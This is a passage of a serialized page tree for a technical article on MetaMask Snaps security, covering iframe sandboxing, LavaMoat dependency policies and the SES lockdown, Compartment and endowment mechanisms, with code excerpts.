'*'",{"type":23,"tag":139,"props":34506,"children":34507},{"style":259},[34508],{"type":28,"value":1488},{"type":23,"tag":139,"props":34510,"children":34511},{"class":141,"line":1580},[34512],{"type":23,"tag":139,"props":34513,"children":34514},{"style":259},[34515],{"type":28,"value":30144},{"type":23,"tag":139,"props":34517,"children":34518},{"class":141,"line":1597},[34519],{"type":23,"tag":139,"props":34520,"children":34521},{"emptyLinePlaceholder":15},[34522],{"type":28,"value":184},{"type":23,"tag":139,"props":34524,"children":34525},{"class":141,"line":1614},[34526,34531,34535,34539,34543],{"type":23,"tag":139,"props":34527,"children":34528},{"style":259},[34529],{"type":28,"value":34530},"    return { worker: ",{"type":23,"tag":139,"props":34532,"children":34533},{"style":294},[34534],{"type":28,"value":34354},{"type":23,"tag":139,"props":34536,"children":34537},{"style":259},[34538],{"type":28,"value":1052},{"type":23,"tag":139,"props":34540,"children":34541},{"style":294},[34542],{"type":28,"value":34151},{"type":23,"tag":139,"props":34544,"children":34545},{"style":259},[34546],{"type":28,"value":16313},{"type":23,"tag":139,"props":34548,"children":34549},{"class":141,"line":1627},[34550],{"type":23,"tag":139,"props":34551,"children":34552},{"style":259},[34553],{"type":28,"value":3874},{"type":23,"tag":24,"props":34555,"children":34556},{},[34557,34559,34565,34567,34574],{"type":28,"value":34558},"Here the iframe is created via ",{"type":23,"tag":135,"props":34560,"children":34562},{"className":34561},[],[34563],{"type":28,"value":34564},"createWindow",{"type":28,"value":34566},", which is defined in snaps-utils ",{"type":23,"tag":64,"props":34568,"children":34571},{"href":34569,"rel":34570},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[68],[34572],{"type":28,"value":34573},"package",{"type":28,"value":2493},{"type":23,"tag":128,"props":34576,"children":34578},{"className":33820,"code":34577,"language":33822,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[34579],{"type":23,"tag":135,"props":34580,"children":34581},{"__ignoreMap":7},[34582,34625,34663,34700,34707,34727,34765,34772,34809],{"type":23,"tag":139,"props":34583,"children":34584},{"class":141,"line":142},[34585,34589,34594,34598,34603,34607,34612,34616,34621],{"type":23,"tag":139,"props":34586,"children":34587},{"style":279},[34588],{"type":28,"value":7663},{"type":23,"tag":139,"props":34590,"children":34591},{"style":294},[34592],{"type":28,"value":34593}," iframe",{"type":23,"tag":139,"props":34595,"children":34596},{"style":982},[34597],{"type":28,"value":985},{"type":23,"tag":139,"props":34599,"children":34600},{"style":294},[34601],{"type":28,"value":34602}," document",{"type":23,"tag":139,"props":34604,"children":34605},{"style":259},[34606],{"type":28,"value":73},{"type":23,"tag":139,"props":34608,"children":34609},{"style":245},[34610],{"type":28,"value":34611},"createElement",{"type":23,"tag":139,"props":34613,"children":34614},{"style":259},[34615],{"type":28,"value":262},{"type":23,"tag":139,"props":34617,"children":34618},{"style":265},[34619],{"type":28,"value":34620},"'iframe'",{"type":23,"tag":139,"props":34622,"children":34623},{"style":259},[34624],{"type":28,"value":1820},{"type":23,"tag":139,"props":34626,"children":34627},{"class":141,"line":151},[34628,34633,34637,34642,34646,34651,34655,34659],{"type":23,"tag":139,"props":34629,"children":34630},{"style":294},[34631],{"type":28,"value":34632},"    iframe",{"type":23,"tag":139,"props":34634,"children":34635},{"style":259},[34636],{"type":28,"value":73},{"type":23,"tag":139,"props":34638,"children":34639},{"style":245},[34640],{"type":28,"value":34641},"setAttribute",{"type":23,"tag":139,"props":34643,"children":34644},{"style":259},[34645],{"type":28,"value":262},{"type":23,"tag":139,"props":34647,"children":34648},{"style":265},[34649],{"type":28,"value":34650},"'id'",{"type":23,"tag":139,"props":34652,"children":34653},{"style":259},[34654],{"type":28,"value":1052},{"type":23,"tag":139,"props":34656,"children":34657},{"style":294},[34658],{"type":28,"value":1466},{"type":23,"tag":139,"props":34660,"children":34661},{"style":259},[34662],{"type":28,"value":1820},{"type":23,"tag":139,"props":34664,"children":34665},{"class":141,"line":160},[34666,34670,34674,34678,34682,34687,34691,34696],{"type":23,"tag":139,"props":34667,"children":34668},{"style":294},[34669],{"type":28,"value":34632},{"type":23,"tag":139,"props":34671,"children":34672},{"style":259},[34673],{"type":28,"value":73},{"type":23,"tag":139,"props":34675,"children":34676},{"style":245},[34677],{"type":28,"value":34641},{"type":23,"tag":139,"props":34679,"children":34680},{"style":259},[34681],{"type":28,"value":262},{"type":23,"tag":139,"props":34683,"children":34684},{"style":265},[34685],{"type":28,"value":34686},"'data-testid'",{"type":23,"tag":139,"props":34688,"children":34689},{"style":259},[34690],{"type":28,"value":1052},{"type":23,"tag":139,"props":34692,"children":34693},{"style":265},[34694],{"type":28,"value":34695},"'snaps-iframe'",{"type":23,"tag":139,"props":34697,"children":34698},{"style":259},[34699],{"type":28,"value":1820},{"type":23,"tag":139,"props":34701,"children":34702},{"class":141,"line":169},[34703],{"type":23,"tag":139,"props":34704,"children":34705},{"emptyLinePlaceholder":15},[34706],{"type":28,"value":184},{"type":23,"tag":139,"props":34708,"children":34709},{"class":141,"line":178},[34710,34714,34718,34723],{"type":23,"tag":139,"props":34711,"children":34712},{"style":319},[34713],{"type":28,"value":10290},{"type":23,"tag":139,"props":34715,"children":34716},{"style":259},[34717],{"type":28,"value":1042},{"type":23,"tag":139,"props":34719,"children":34720},{"style":294},[34721],{"type":28,"value":34722},"sandbox",{"type":23,"tag":139,"props":34724,"children":34725},{"style":259},[34726],{"type":28,"value":12815},{"type":23,"tag":139,"props":34728,"children":34729},{"class":141,"line":187},[34730,34735,34739,34743,34747,34752,34756,34761],{"type":23,"tag":139,"props":34731,"children":34732},{"style":294},[34733],{"type":28,"value":34734},"      iframe",{"type":23,"tag":139,"props":34736,"children":34737},{"style":259},[34738],{"type":28,"value":73},{"type":23,"tag":139,"props":34740,"children":34741},{"style":245},[34742],{"type":28,"value":34641},{"type":23,"tag":139,"props":34744,"children":34745},{"style":259},[34746],{"type":28,"value":262},{"type":23,"tag":139,"props":34748,"children":34749},{"style":265},[34750],{"type":28,"value":34751},"'sandbox'",{"type":23,"tag":139,"props":34753,"children":34754},{"style":259},[34755],{"type":28,"value":1052},{"type":23,"tag":139,"props":34757,"children":34758},{"style":265},[34759],{"type":28,"value":34760},"'allow-scripts'",{"type":23,"tag":139,"props":34762,"children":34763},{"style":259},[34764],{"type":28,"value":1820},{"type":23,"tag":139,"props":34766,"children":34767},{"class":141,"line":196},[34768],{"type":23,"tag":139,"props":34769,"children":34770},{"style":259},[34771],{"type":28,"value":1335},{"type":23,"tag":139,"props":34773,"children":34774},{"class":141,"line":205},[34775,34779,34783,34787,34791,34796,34800,34805],{"type":23,"tag":139,"props":34776,"children":34777},{"style":294},[34778],{"type":28,"value":34632},{"type":23,"tag":139,"props":34780,"children":34781},{"style":259},[34782],{"type":28,"value":73},{"type":23,"tag":139,"props":34784,"children":34785},{"style":245},[34786],{"type":28,"value":34641},{"type":23,"tag":139,"props":34788,"children":34789},{"style":259},[34790],{"type":28,"value":262},{"type":23,"tag":139,"props":34792,"children":34793},{"style":265},[34794],{"type":28,"value":34795},"'src'",{"type":23,"tag":139,"props":34797,"children":34798},{"style":259},[34799],{"type":28,"value":1052},{"type":23,"tag":139,"props":34801,"children":34802},{"style":294},[34803],{"type":28,"value":34804},"uri",{"type":23,"tag":139,"props":34806,"children":34807},{"style":259},[34808],{"type":28,"value":1820},{"type":23,"tag":139,"props":34810,"children":34811},{"class":141,"line":214},[34812,34816,34820,34824,34828,34833,34837,34842],{"type":23,"tag":139,"props":34813,"children":34814},{"style":294},[34815],{"type":28,"value":32562},{"type":23,"tag":139,"props":34817,"children":34818},{"style":259},[34819],{"type":28,"value":73},{"type":23,"tag":139,"props":34821,"children":34822},{"style":294},[34823],{"type":28,"value":30287},{"type":23,"tag":139,"props":34825,"children":34826},{"style":259},[34827],{"type":28,"value":73},{"type":23,"tag":139,"props":34829,"children":34830},{"style":245},[34831],{"type":28,"value":34832},"appendChild",{"type":23,"tag":139,"props":34834,"children":34835},{"style":259},[34836],{"type":28,"value":262},{"type":23,"tag":139,"props":34838,"children":34839},{"style":294},[34840],{"type":28,"value":34841},"iframe",{"type":23,"tag":139,"props":34843,"children":34844},{"style":259},[34845],{"type":28,"value":1820},{"type":23,"tag":24,"props":34847,"children":34848},{},[34849],{"type":28,"value":34850},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":666,"props":34852,"children":34854},{"id":34853},"lavamoat-against-supply-chain-attacks-layer-2",[34855],{"type":28,"value":34856},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":34858,"children":34859},{},[34860],{"type":28,"value":34861},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":34863,"children":34864},{},[34865,34867,34873],{"type":28,"value":34866},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":135,"props":34868,"children":34870},{"className":34869},[],[34871],{"type":28,"value":34872},"fs",{"type":28,"value":34874},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":34876,"children":34877},{},[34878],{"type":28,"value":34879},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":34881,"children":34882},{},[34883,34885,34892],{"type":28,"value":34884},"This is how a Policy file related to the iframes ",{"type":23,"tag":64,"props":34886,"children":34889},{"href":34887,"rel":34888},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[68],[34890],{"type":28,"value":34891},"looks",{"type":28,"value":2493},{"type":23,"tag":128,"props":34894,"children":34896},{"className":31884,"code":34895,"language":31886,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[34897],{"type":23,"tag":135,"props":34898,"children":34899},{"__ignoreMap":7},[34900,34913,34925,34945,34965,34985,35005,35025,35045,35065,35082,35090,35102,35122,35138,35145],{"type":23,"tag":139,"props":34901,"children":34902},{"class":141,"line":142},[34903,34908],{"type":23,"tag":139,"props":34904,"children":34905},{"style":265},[34906],{"type":28,"value":34907},"\"@metamask/post-message-stream\"",{"type":23,"tag":139,"props":34909,"children":34910},{"style":259},[34911],{"type":28,"value":34912},": {\n",{"type":23,"tag":139,"props":34914,"children":34915},{"class":141,"line":151},[34916,34921],{"type":23,"tag":139,"props":34917,"children":34918},{"style":294},[34919],{"type":28,"value":34920},"      \"globals\"",{"type":23,"tag":139,"props":34922,"children":34923},{"style":259},[34924],{"type":28,"value":34912},{"type":23,"tag":139,"props":34926,"children":34927},{"class":141,"line":160},[34928,34933,34937,34941],{"type":23,"tag":139,"props":34929,"children":34930},{"style":294},[34931],{"type":28,"value":34932},"        \"MessageEvent.prototype\"",{"type":23,"tag":139,"props":34934,"children":34935},{"style":259},[34936],{"type":28,"value":13343},{"type":23,"tag":139,"props":34938,"children":34939},{"style":279},[34940],{"type":28,"value":1993},{"type":23,"tag":139,"props":34942,"children":34943},{"style":259},[34944],{"type":28,"value":1488},{"type":23,"tag":139,"props":34946,"children":34947},{"class":141,"line":169},[34948,34953,34957,34961],{"type":23,"tag":139,"props":34949,"children":34950},{"style":294},[34951],{"type":28,"value":34952},"        \"WorkerGlobalScope\"",{"type":23,"tag":139,"props":34954,"children":34955},{"style":259},[34956],{"type":28,"value":13343},{"type":23,"tag":139,"props":34958,"children":34959},{"style":279},[34960],{"type":28,"value":1993},{"type":23,"tag":139,"props":34962,"children":34963},{"style":259},[34964],{"type":28,"value":1488},{"type":23,"tag":139,"props":34966,"children":34967},{"class":141,"line":178},[34968,34973,34977,34981],{"type":23,"tag":139,"props":34969,"children":34970},{"style":294},[34971],{"type":28,"value":34972},"        \"addEventListener\"",{"type":23,"tag":139,"props":34974,"children":34975},{"style":259},[34976],{"type":28,"value":13343},{"type":23,"tag":139,"props":34978,"children":34979},{"style":279},[34980],{"type":28,"value":1993},{"type":23,"tag":139,"props":34982,"children":34983},{"style":259},[34984],{"type":28,"value":1488},{"type":23,"tag":139,"props":34986,"children":34987},{"class":141,"line":187},[34988,34993,34997,35001],{"type":23,"tag":139,"props":34989,"children":34990},{"style":294},[34991],{"type":28,"value":34992},"        \"browser\"",{"type":23,"tag":139,"props":34994,"children":34995},{"style":259},[34996],{"type":28,"value":13343},{"type":23,"tag":139,"props":34998,"children":34999},{"style":279},[35000],{"type":28,"value":1993},{"type":23,"tag":139,"props":35002,"children":35003},{"style":259},[35004],{"type":28,"value":1488},{"type":23,"tag":139,"props":35006,"children":35007},{"class":141,"line":196},[35008,35013,35017,35021],{"type":23,"tag":139,"props":35009,"children":35010},{"style":294},[35011],{"type":28,"value":35012},"        \"chrome\"",{"type":23,"tag":139,"props":35014,"children":35015},{"style":259},[35016],{"type":28,"value":13343},{"type":23,"tag":139,"props":35018,"children":35019},{"style":279},[35020],{"type":28,"value":1993},{"type":23,"tag":139,"props":35022,"children":35023},{"style":259},[35024],{"type":28,"value":1488},{"type":23,"tag":139,"props":35026,"children":35027},{"class":141,"line":205},[35028,35033,35037,35041],{"type":23,"tag":139,"props":35029,"children":35030},{"style":294},[35031],{"type":28,"value":35032},"        \"location.origin\"",{"type":23,"tag":139,"props":35034,"children":35035},{"style":259},[35036],{"type":28,"value":13343},{"type":23,"tag":139,"props":35038,"children":35039},{"style":279},[35040],{"type":28,"value":1993},{"type":23,"tag":139,"props":35042,"children":35043},{"style":259},[35044],{"type":28,"value":1488},{"type":23,"tag":139,"props":35046,"children":35047},{"class":141,"line":214},[35048,35053,35057,35061],{"type":23,"tag":139,"props":35049,"children":35050},{"style":294},[35051],{"type":28,"value":35052},"        \"postMessage\"",{"type":23,"tag":139,"props":35054,"children":35055},{"style":259},[35056],{"type":28,"value":13343},{"type":23,"tag":139,"props":35058,"children":35059},{"style":279},[35060],{"type":28,"value":1993},{"type":23,"tag":139,"props":35062,"children":35063},{"style":259},[35064],{"type":28,"value":1488},{"type":23,"tag":139,"props":35066,"children":35067},{"class":141,"line":1320},[35068,35073,35077],{"type":23,"tag":139,"props":35069,"children":35070},{"style":294},[35071],{"type":28,"value":35072},"        \"removeEventListener\"",{"type":23,"tag":139,"props":35074,"children":35075},{"style":259},[35076],{"type":28,"value":13343},{"type":23,"tag":139,"props":35078,"children":35079},{"style":279},[35080],{"type":28,"value":35081},"true\n",{"type":23,"tag":139,"props":35083,"children":35084},{"class":141,"line":1329},[35085],{"type":23,"tag":139,"props":35086,"children":35087},{"style":259},[35088],{"type":28,"value":35089},"      },\n",{"type":23,"tag":139,"props":35091,"children":35092},{"class":141,"line":1580},[35093,35098],{"type":23,"tag":139,"props":35094,"children":35095},{"style":294},[35096],{"type":28,"value":35097},"      \"packages\"",{"type":23,"tag":139,"props":35099,"children":35100},{"style":259},[35101],{"type":28,"value":34912},{"type":23,"tag":139,"props":35103,"children":35104},{"class":141,"line":1597},[35105,35110,35114,35118],{"type":23,"tag":139,"props":35106,"children":35107},{"style":294},[35108],{"type":28,"value":35109},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":139,"props":35111,"children":35112},{"style":259},[35113],{"type":28,"value":13343},{"type":23,"tag":139,"props":35115,"children":35116},{"style":279},[35117],{"type":28,"value":1993},{"type":23,"tag":139,"props":35119,"children":35120},{"style":259},[35121],{"type":28,"value":1488},{"type":23,"tag":139,"props":35123,"children":35124},{"class":141,"line":1614},[35125,35130,35134],{"type":23,"tag":139,"props":35126,"children":35127},{"style":294},[35128],{"type":28,"value":35129},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":139,"props":35131,"children":35132},{"style":259},[35133],{"type":28,"value":13343},{"type":23,"tag":139,"props":35135,"children":35136},{"style":279},[35137],{"type":28,"value":35081},{"type":23,"tag":139,"props":35139,"children":35140},{"class":141,"line":1627},[35141],{"type":23,"tag":139,"props":35142,"children":35143},{"style":259},[35144],{"type":28,"value":10675},{"type":23,"tag":139,"props":35146,"children":35147},{"class":141,"line":1636},[35148],{"type":23,"tag":139,"props":35149,"children":35150},{"style":259},[35151],{"type":28,"value":1335},{"type":23,"tag":24,"props":35153,"children":35154},{},[35155,35157,35163,35165,35171,35173,35179,35181,35187,35188,35194],{"type":28,"value":35156},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":135,"props":35158,"children":35160},{"className":35159},[],[35161],{"type":28,"value":35162},"globals",{"type":28,"value":35164}," section, is the ",{"type":23,"tag":135,"props":35166,"children":35168},{"className":35167},[],[35169],{"type":28,"value":35170},"packages",{"type":28,"value":35172}," segment. This section permits the ",{"type":23,"tag":135,"props":35174,"children":35176},{"className":35175},[],[35177],{"type":28,"value":35178},"@metamask/post-message-stream",{"type":28,"value":35180},"package to exclusively interact with the package ",{"type":23,"tag":135,"props":35182,"children":35184},{"className":35183},[],[35185],{"type":28,"value":35186},"@metamask/utils",{"type":28,"value":9002},{"type":23,"tag":135,"props":35189,"children":35191},{"className":35190},[],[35192],{"type":28,"value":35193},"readable-stream",{"type":28,"value":35195},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":35197,"children":35198},{},[35199,35201,35207],{"type":28,"value":35200},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":135,"props":35202,"children":35204},{"className":35203},[],[35205],{"type":28,"value":35206},"lockdown",{"type":28,"value":35208}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":666,"props":35210,"children":35212},{"id":35211},"secure-ecmascript-ses-sandbox-layer-3",[35213],{"type":28,"value":35214},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":35216,"children":35217},{},[35218,35220,35227],{"type":28,"value":35219},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":64,"props":35221,"children":35224},{"href":35222,"rel":35223},"https://github.com/endojs/endo/tree/master/packages/ses",[68],[35225],{"type":28,"value":35226},"Secure EcmaScript (SES)",{"type":28,"value":35228}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":16900,"props":35230,"children":35232},{"id":35231},"ses-fundamentals",[35233],{"type":28,"value":35234},"SES Fundamentals",{"type":23,"tag":35236,"props":35237,"children":35238},"h5",{"id":35206},[35239],{"type":28,"value":35240},"Lockdown",{"type":23,"tag":24,"props":35242,"children":35243},{},[35244,35246,35252],{"type":28,"value":35245},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":135,"props":35247,"children":35249},{"className":35248},[],[35250],{"type":28,"value":35251},"lockdown()",{"type":28,"value":35253}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":797,"props":35255,"children":35256},{},[35257,35270],{"type":23,"tag":801,"props":35258,"children":35259},{},[35260,35262,35268],{"type":28,"value":35261},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":135,"props":35263,"children":35265},{"className":35264},[],[35266],{"type":28,"value":35267},"Object.freeze",{"type":28,"value":35269}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":801,"props":35271,"children":35272},{},[35273,35275,35281,35283,35289],{"type":28,"value":35274},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":135,"props":35276,"children":35278},{"className":35277},[],[35279],{"type":28,"value":35280},"trace",{"type":28,"value":35282}," attribute in an ",{"type":23,"tag":135,"props":35284,"children":35286},{"className":35285},[],[35287],{"type":28,"value":35288},"Error",{"type":28,"value":35290}," object, which contains the stack trace of the error.",{"type":23,"tag":35236,"props":35292,"children":35294},{"id":35293},"compartment",[35295],{"type":28,"value":35296},"Compartment",{"type":23,"tag":24,"props":35298,"children":35299},{},[35300,35302,35308,35310,35315],{"type":28,"value":35301},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":135,"props":35303,"children":35305},{"className":35304},[],[35306],{"type":28,"value":35307},"globalThis",{"type":28,"value":35309}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":135,"props":35311,"children":35313},{"className":35312},[],[35314],{"type":28,"value":35307},{"type":28,"value":35316}," context is incapable of tampering with security.",{"type":23,"tag":128,"props":35318,"children":35320},{"className":33503,"code":35319,"language":33505,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[35321],{"type":23,"tag":135,"props":35322,"children":35323},{"__ignoreMap":7},[35324,35353,35386],{"type":23,"tag":139,"props":35325,"children":35326},{"class":141,"line":142},[35327,35331,35336,35340,35344,35349],{"type":23,"tag":139,"props":35328,"children":35329},{"style":279},[35330],{"type":28,"value":7663},{"type":23,"tag":139,"props":35332,"children":35333},{"style":294},[35334],{"type":28,"value":35335}," c",{"type":23,"tag":139,"props":35337,"children":35338},{"style":982},[35339],{"type":28,"value":985},{"type":23,"tag":139,"props":35341,"children":35342},{"style":279},[35343],{"type":28,"value":29820},{"type":23,"tag":139,"props":35345,"children":35346},{"style":245},[35347],{"type":28,"value":35348}," Compartment",{"type":23,"tag":139,"props":35350,"children":35351},{"style":259},[35352],{"type":28,"value":1656},{"type":23,"tag":139,"props":35354,"children":35355},{"class":141,"line":151},[35356,35360,35364,35368,35372,35377,35381],{"type":23,"tag":139,"props":35357,"children":35358},{"style":294},[35359],{"type":28,"value":1123},{"type":23,"tag":139,"props":35361,"children":35362},{"style":259},[35363],{"type":28,"value":73},{"type":23,"tag":139,"props":35365,"children":35366},{"style":294},[35367],{"type":28,"value":35307},{"type":23,"tag":139,"props":35369,"children":35370},{"style":982},[35371],{"type":28,"value":29309},{"type":23,"tag":139,"props":35373,"children":35374},{"style":294},[35375],{"type":28,"value":35376}," globalThis",{"type":23,"tag":139,"props":35378,"children":35379},{"style":259},[35380],{"type":28,"value":15239},{"type":23,"tag":139,"props":35382,"children":35383},{"style":958},[35384],{"type":28,"value":35385},"// false\n",{"type":23,"tag":139,"props":35387,"children":35388},{"class":141,"line":160},[35389,35393,35397,35401,35405,35410,35414,35419,35423],{"type":23,"tag":139,"props":35390,"children":35391},{"style":294},[35392],{"type":28,"value":1123},{"type":23,"tag":139,"props":35394,"children":35395},{"style":259},[35396],{"type":28,"value":73},{"type":23,"tag":139,"props":35398,"children":35399},{"style":294},[35400],{"type":28,"value":35307},{"type":23,"tag":139,"props":35402,"children":35403},{"style":259},[35404],{"type":28,"value":73},{"type":23,"tag":139,"props":35406,"children":35407},{"style":294},[35408],{"type":28,"value":35409},"JSON",{"type":23,"tag":139,"props":35411,"children":35412},{"style":982},[35413],{"type":28,"value":29309},{"type":23,"tag":139,"props":35415,"children":35416},{"style":294},[35417],{"type":28,"value":35418}," JSON",{"type":23,"tag":139,"props":35420,"children":35421},{"style":259},[35422],{"type":28,"value":15239},{"type":23,"tag":139,"props":35424,"children":35425},{"style":958},[35426],{"type":28,"value":35427},"// true\n",{"type":23,"tag":24,"props":35429,"children":35430},{},[35431,35433,35439,35441,35447,35449,35454],{"type":28,"value":35432},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":135,"props":35434,"children":35436},{"className":35435},[],[35437],{"type":28,"value":35438},"eval",{"type":28,"value":35440}," and the ",{"type":23,"tag":135,"props":35442,"children":35444},{"className":35443},[],[35445],{"type":28,"value":35446},"Function",{"type":28,"value":35448}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":135,"props":35450,"children":35452},{"className":35451},[],[35453],{"type":28,"value":35307},{"type":28,"value":73},{"type":23,"tag":35236,"props":35456,"children":35458},{"id":35457},"endowments",[35459],{"type":28,"value":35460},"Endowments",{"type":23,"tag":24,"props":35462,"children":35463},{},[35464,35466,35470,35472,35477],{"type":28,"value":35465},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":659,"props":35467,"children":35468},{},[35469],{"type":28,"value":35457},{"type":28,"value":35471},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":135,"props":35473,"children":35475},{"className":35474},[],[35476],{"type":28,"value":35307},{"type":28,"value":35478},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":35480,"children":35481},{},[35482,35484,35490],{"type":28,"value":35483},"In addition, SES provides the ",{"type":23,"tag":135,"props":35485,"children":35487},{"className":35486},[],[35488],{"type":28,"value":35489},"harden()",{"type":28,"value":35491}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":16900,"props":35493,"children":35495},{"id":35494},"setting-up-snaps-execution-env",[35496],{"type":28,"value":35497},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":35499,"children":35500},{},[35501],{"type":28,"value":35502},"When starting a snap, the setup follows these steps:",{"type":23,"tag":797,"props":35504,"children":35505},{},[35506],{"type":23,"tag":801,"props":35507,"children":35508},{},[35509],{"type":23,"tag":56,"props":35510,"children":35511},{},[35512,35514],{"type":28,"value":35513},"Create endowments based on snap ",{"type":23,"tag":64,"props":35515,"children":35518},{"href":35516,"rel":35517},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[68],[35519],{"type":28,"value":35520},"permissions",{"type":23,"tag":128,"props":35522,"children":35524},{"className":33503,"code":35523,"language":33505,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[35525],{"type":23,"tag":135,"props":35526,"children":35527},{"__ignoreMap":7},[35528,35578,35590,35601,35613,35625],{"type":23,"tag":139,"props":35529,"children":35530},{"class":141,"line":142},[35531,35535,35539,35543,35547,35552,35556,35561,35565,35569,35574],{"type":23,"tag":139,"props":35532,"children":35533},{"style":279},[35534],{"type":28,"value":7663},{"type":23,"tag":139,"props":35536,"children":35537},{"style":259},[35538],{"type":28,"value":7594},{"type":23,"tag":139,"props":35540,"children":35541},{"style":294},[35542],{"type":28,"value":35457},{"type":23,"tag":139,"props":35544,"children":35545},{"style":259},[35546],{"type":28,"value":1052},{"type":23,"tag":139,"props":35548,"children":35549},{"style":294},[35550],{"type":28,"value":35551},"teardown",{"type":23,"tag":139,"props":35553,"children":35554},{"style":259},[35555],{"type":28,"value":13343},{"type":23,"tag":139,"props":35557,"children":35558},{"style":294},[35559],{"type":28,"value":35560},"endowmentTeardown",{"type":23,"tag":139,"props":35562,"children":35563},{"style":259},[35564],{"type":28,"value":34092},{"type":23,"tag":139,"props":35566,"children":35567},{"style":982},[35568],{"type":28,"value":1067},{"type":23,"tag":139,"props":35570,"children":35571},{"style":245},[35572],{"type":28,"value":35573}," createEndowments",{"type":23,"tag":139,"props":35575,"children":35576},{"style":259},[35577],{"type":28,"value":1443},{"type":23,"tag":139,"props":35579,"children":35580},{"class":141,"line":151},[35581,35586],{"type":23,"tag":139,"props":35582,"children":35583},{"style":294},[35584],{"type":28,"value":35585},"    snap",{"type":23,"tag":139,"props":35587,"children":35588},{"style":259},[35589],{"type":28,"value":1488},{"type":23,"tag":139,"props":35591,"children":35592},{"class":141,"line":160},[35593,35597],{"type":23,"tag":139,"props":35594,"children":35595},{"style":294},[35596],{"type":28,"value":29371},{"type":23,"tag":139,"props":35598,"children":35599},{"style":259},[35600],{"type":28,"value":1488},{"type":23,"tag":139,"props":35602,"children":35603},{"class":141,"line":169},[35604,35609],{"type":23,"tag":139,"props":35605,"children":35606},{"style":294},[35607],{"type":28,"value":35608},"    snapId",{"type":23,"tag":139,"props":35610,"children":35611},{"style":259},[35612],{"type":28,"value":1488},{"type":23,"tag":139,"props":35614,"children":35615},{"class":141,"line":178},[35616,35621],{"type":23,"tag":139,"props":35617,"children":35618},{"style":294},[35619],{"type":28,"value":35620},"    _endowments",{"type":23,"tag":139,"props":35622,"children":35623},{"style":259},[35624],{"type":28,"value":1488},{"type":23,"tag":139,"props":35626,"children":35627},{"class":141,"line":187},[35628],{"type":23,"tag":139,"props":35629,"children":35630},{"style":259},[35631],{"type":28,"value":1820},{"type":23,"tag":24,"props":35633,"children":35634},{},[35635],{"type":28,"value":35636},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":35638,"children":35639},{},[35640,35642,35648,35650,35656],{"type":28,"value":35641},"One clear example is the ",{"type":23,"tag":135,"props":35643,"children":35645},{"className":35644},[],[35646],{"type":28,"value":35647},"endowment:network-access",{"type":28,"value":35649}," permission, that adds the ",{"type":23,"tag":135,"props":35651,"children":35653},{"className":35652},[],[35654],{"type":28,"value":35655},"fetch()",{"type":28,"value":35657}," function to the endowments.",{"type":23,"tag":24,"props":35659,"children":35660},{},[35661,35663,35669],{"type":28,"value":35662},"All endowments are protected with the 